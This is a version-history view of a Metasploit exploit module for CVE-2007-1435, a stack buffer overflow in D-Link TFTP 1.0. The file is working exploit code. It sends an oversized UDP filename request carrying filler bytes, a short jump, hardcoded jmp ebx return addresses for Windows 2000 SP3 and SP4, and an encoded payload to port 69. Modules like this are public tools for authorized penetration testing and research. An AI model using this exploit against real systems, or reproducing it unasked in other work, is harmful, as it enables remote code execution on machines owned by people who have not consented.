Files
metasploit-gs/modules/exploits/windows/tftp/dlink_long_filename.rb
T

80 lines
2.1 KiB
Ruby
Raw Normal View History

2009-12-15 18:47:29 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-15 18:47:29 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = GoodRanking
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Udp
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in D-Link TFTP 1.0.
By sending a request for an overly long file name, an attacker
could overflow a buffer and execute arbitrary code. For best results,
use bind payloads with nonx (No NX).
},
'Author' =>
[
'LSO <lso[at]hushmail.com>', # Exploit module
2017-11-09 03:00:24 +11:00
'aushack', # Refs, stability, targets etc
2013-08-30 16:28:54 -05:00
],
'References' =>
[
[ 'CVE', '2007-1435' ],
[ 'OSVDB', '33977' ],
[ 'BID', '22923' ],
2013-08-30 16:28:54 -05:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-reverse',
},
},
'SaveRegisters' => [ 'ecx', 'eax', 'esi' ],
'Platform' => 'win',
2013-08-30 16:28:54 -05:00
'Targets' =>
[
# Patrick tested OK 20090228
['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
],
'Privileged' => false,
'DisclosureDate' => 'Mar 12 2007',
'DefaultTarget' => 0))
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(69)
], self)
end
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
def exploit
connect_udp
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
print_status("Trying target #{target.name}...")
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
juju = "\x00\x01"
juju << Rex::Text.rand_text_alpha_upper(581)
juju << Rex::Arch::X86.jmp_short(42)
juju << Rex::Text.rand_text_alpha_upper(38)
juju << [target.ret].pack('V') + payload.encoded
2013-08-30 16:28:54 -05:00
udp_sock.put(juju)
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
handler
disconnect_udp
end
2009-12-15 18:47:29 +00:00
end